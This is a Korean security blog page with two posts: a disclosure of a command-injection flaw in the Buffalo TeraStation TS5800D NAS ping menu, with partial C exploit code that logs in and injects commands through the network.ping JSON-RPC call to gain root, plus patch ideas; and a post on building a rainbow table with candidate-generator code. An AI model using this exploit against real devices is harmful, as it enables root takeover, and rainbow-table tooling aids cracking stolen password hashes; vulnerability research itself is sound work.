Search

'Buffalo'에 해당되는 글 2건

  1. 2013.04.23 Buffalo TeraStation TS5800D Command Injection Vulnerability
  2. 2013.04.22 Rainbow Table

Buffalo TeraStation TS5800D Command Injection Vulnerability


TeamCR@K


개요

Buffalo는 일본의 솔루션 개발업체이며, 리눅스 시스템을 개량하여 다양한 스토리지 솔루션을 판매하고 있는 회사입니다.

해당 Buffalo에서 판매하고 있는 스토리지 솔루션 중 NAS 장비인 TeraStation 기종에서 악의적인 명령을 수행 할 수 있는 취약점이 발견되었습니다.


상세설명

발견된 취약점은 관리자 로그인 상태에서 특정 메뉴를 통해 접근할 때 발생하는 것으로써, 외부의 악의적인 공격자로 인해 공격당할 위험은 존재하지 않습니다.

테스트 된 버전은 Buffalo TeraStation TS5800D 기종이며, 해당 취약점으로 공개되지 않은 시스템 관리자(root) 권한을 획득할 수 있습니다.



[그림 1] 정상적으로 동작하는 네트워크 기능 메뉴


취약한 메뉴는 ping 명령을 수행한 결과를 그대로 출력 창에 출력하는 형태로 해당 메뉴 인자를 조작하여 시스템 명령어를 수행할 수 있습니다.



[그림 2] 메뉴 수행 조작을 통해 최상위 디렉터리 구조를 출력하는 화면



[그림 3] 웹 어플리케이션 실행 권한이 관리자인 root 권한으로 실행


웹 어플리케이션이 시스템 관리자 권한인 root 권한으로 수행되기 때문에 시스템 설정파일들을 변경하여 인증 없이 관리자 권한의 쉘을 획득 할 수 있습니다.



[그림 4] 인증없이 시스템 root 권한의 shell을 획득


다음은 본 취약점을 공격하도록 자동화 된 exploit을 만들어 수행한 화면입니다.


[그림 5] 취약점 exploit 실행 화면


다음은 위 exploit 코드의 일부입니다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/socket.h>


#define PROT_NAME "jsonrpc"

#define PROT_VER "2.0"

#define BANNER \

"  - Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit -\n\n"\

"  Author: TeamCR@K in A3Security\n"\

"  Date: 22/02/2013\n\n"


const char *crlf = "\x0D\x0A\x0D\x0A";

char cookie[1024] = "Cookie: lang=ko;";


>>-- snip --<<


printf(

"[*] Target: %s\n"

"[*] User ID: %s\n"

"[*] User Password: %s\n", target, id, pw);


printf("[+] Login to NAS server..... ");

if((sid = do_login(target, id, pw)) == NULL) {

goto failed;

}

printf(

"ok!\n"

"[*] Session ID: %s\n", sid);

snprintf(cookie + strlen(cookie), sizeof(cookie) - strlen(cookie), 

" username=%s; sid=%s;", id, sid);


printf("[+] Injecting commands.\n");


>>-- snip --<<


int cmd_inject(const char *target, const char *cmd, const char *sid)

{

int i = 0, s = 0, n = 0, retry = 3, executed = -1, isdone = 0;

struct sockaddr_in addr;

char *ptr = NULL;

char postdata[4096];

char sendpkt[8192], recvpkt[1024];

unsigned char jobid[128];


// ***** Sending a command

snprintf(postdata, sizeof(postdata),  

"{"

"\"%s\":\"%s\","

"\"method\":\"network.ping\","

"\"params\":{\"ipaddress\":\"%s%s\",\"sid\":\"%s\"},"

"\"id\":\"1361425584418\""

"}", PROT_NAME, PROT_VER, target, cmd, sid);

snprintf(sendpkt, sizeof(sendpkt), 

HEADER, cookie, strlen(postdata), postdata);

if((s = socket_set(target, &addr, 80)) < 0) {

goto failed;

}

if(send(s, sendpkt, strlen(sendpkt), 0) < 0) {

printf("[!] send() error\n");

goto failed;

}

if(strip_header(s) != 200) {

printf("[!] Illegal HTTP header\n");

goto failed;

}

n = recv(s, recvpkt, sizeof(recvpkt) - 1, 0);

recvpkt[n] = '\0';

if((ptr = strstr(recvpkt, "jobid")) == NULL) {

printf("[!] Can't allocate job-id.\n");

goto failed;

}

close(s); s = 0;

ptr += 8;

n = 0;

while(*ptr != '}') {

jobid[n++] = *(unsigned char *)ptr;

ptr++;

}

jobid[n++] = '\0';


// ***** Check command result

snprintf(postdata, sizeof(postdata),  


>>-- snip --<<


본 취약점은 ping 명령을 수행하는 과정에서 특수문자를 필터링 하지 않아 발생하는 문제입니다.

해당 모듈은 /usr/local/lib/nasapi/modules/network.pyc 파일로 존재하며, 컴파일 된 파이썬 코드로 만들어져 있습니다.


[그림 6] network.pyc 모듈의 취약점 발생 루틴


본 취약점과 관련하여 외부의 악의적인 공격을 위협수준으로 평가하지 않고 최근 많이 행해지고 있는 스마트폰 Rooting/JB 와 같은 관점으로 접근했습니다.

만약 본 취약점을 패치하고 싶다면 다음과 같은 방법이 있을 수 있습니다.


1. Compile 된 바이너리 파일이므로, 문제가 되는 부분을 무력화 시키면서 Padding과 같은 작업을 가미합니다.

2. 포멧스트링 "%s"에 대해 악의적인 문자열로 조작하지 못하도록 "%c" 내지는 "%d"와 같은 출력포멧으로 변경합니다. 


다음을 보면 취약점이 존재하는 본래의 모듈과 패치한 모듈을 비교 분석해 볼 수 있습니다.


[그림 7] network.pyc 모듈의 패치 전과 후


위와 같이 패치를 적용하고 난 후, NASAPI service를 재 시작하면 취약점 패치가 곧바로 적용됩니다.


[그림 8] network.pyc 모듈의 패치 완료


Rainbow Table

CR@K 이야기 2013. 4. 22. 22:24 Posted by TEAMCR@K

2012년 연말을 기점으로 저희 팀에 새 식구가 하나 늘었습니다.


동수?.....

는 아니고요...


Buffalo NAS 장비 입니다.

아래 보이는 바로 요 놈 입니다.


Buffalo NAS 장비


요 NAS 장비는 총 12TB 정도의 여유를 가지고 있습니다.

이 여유공간을 어떻게 활용할까 곰곰히 생각해 보다가 Rainbow Table로 일부 활용 해 보기로 했습니다.


DB Schema를 작성하고, DBMS를 구동하고

또 쉼 없이 데이터를 생성하는 프로그램도 작성해서 돌려봅니다.

데이터 작성만 해서는 의미가 없습니다.

작성된 데이터를 활용해 웹에서 해시를 검색하는 웹 UI도 만들어 봅니다.


아래는 만들어진 Rainbow 테이블을 서치 해 볼 수 있는 화면입니다.



일반 평문은 약 3억개 정도이며 각 해시 데이터들이 그 뒤를 잇고 있습니다.

평문에 먼저 데이터를 쌓도록 해 놓은 것이 주로 알파벳 26자와 숫자로 이루어진 단어들이며, 후일에 숫자만으로 된 데이터들도 추가했습니다.

현재 숫자 데이터는 8자리 숫자 데이터까지 검색 가능합니다.


이렇게 써 보다가 약간은 불편한게 생겼습니다.

해시 데이터가 다수 일 때...

물론 삽질을 좋아하는 누군가는 일일이 하나하나의 해시를 검색하고 그 결과를 보는것으로 만족 할 지 모릅니다.

하지만 역시 불편합니다.

그래서 해시 데이터를 파일로 업로드하여 검색하는 기능도 추가했습니다.


일단 해당 기능을 테스트 하기 위해 일반 단어사전을 생성합니다.

리눅스에 기본적으로 존재하는 단어사전에서 그 단어들을 100개 정도 추립니다.



이것을 기준으로 약 100개의 SHA-1 해시를 생성해 봅니다.



해당 데이터를 웹에 업로드 하여 테스트 해 봅니다.



DB에서 찾을 수 있는 해시보다 찾지 못하는 해시가 아직은 더 많습니다.


아래는 레인보우 테이블을 생성하는 코드 중 일부입니다.


>>> snip <<<


pthread_t threads[MAX_THREAD];

int is_interrupt = -1;

int is_pause = -1;

int is_failed = -1;


unsigned char lower_case[] = {

    'a','b','c','d','e','f','g','h','i','j',

    'k','l','m','n','o','p','q','r','s','t',

    'u','v','w','x','y','z', '\0'

};

unsigned char upper_case[] = {

    'A','B','C','D','E','F','G','H','I','J',

    'K','L','M','N','O','P','Q','R','S','T',

    'U','V','W','X','Y','Z', '\0'

};

unsigned char number_case[] = {

    '0','1','2','3','4','5','6','7','8','9', '\0' // 10

};

unsigned char special_case[] = {

    '`','~','!','@','#','$','%','^','&','*',

    '(',')','-','_','=','+','[','{',']','}',

    '\\','|',';',':','\'','"',',','<','.','>',

    '/','?', '\0'

};


unsigned char base[128];


>>> snip <<<


        memset(init_pass, 0x00, sizeof(init_pass));


        for(i = s; i < e; i++) {
            max += pow(count, i) + 0.0;
        }

        for(i = 0; i < max + s; i++) {
            j = 0;
            while(base[j] != '\0') {
                memset(pass, 0x00, sizeof(pass));
                init_pass[sizeof(init_pass) - 1] = init_pass[sizeof(init_pass) - 1] + 1;
                idx = 0;
                for(k = 0; k < sizeof(init_pass); k++) {
                    if(init_pass[k] != '\0') {
                        if(base[init_pass[k] - 1] == '\'') {
                            pass[idx] = '\\';
                            idx++;
                        }
                        if(base[init_pass[k] - 1] == '\\') {
                            pass[idx] = '\\';
                            idx++;
                        }
                        pass[idx] = base[init_pass[k] - 1];
                        idx++;
                    }
                }
                //fprintf(stdout, "[%.0f] Pass: %s\n", total, pass);
                snprintf(sql, sizeof(sql), "INSERT INTO %s(value) VALUES('%s')", info->tblname, pass);
                j++;
                total++;
                if(mysql_query(conn, sql)) {
                    //fprintf(stdout, "%s\n", mysql_error(conn));
                    continue;
                }
            }
>>> snip <<<


지속적으로 데이터를 축적해 나가다 보면 언젠가는 쓸만한 레인보우 테이블이 될 것 같습니다.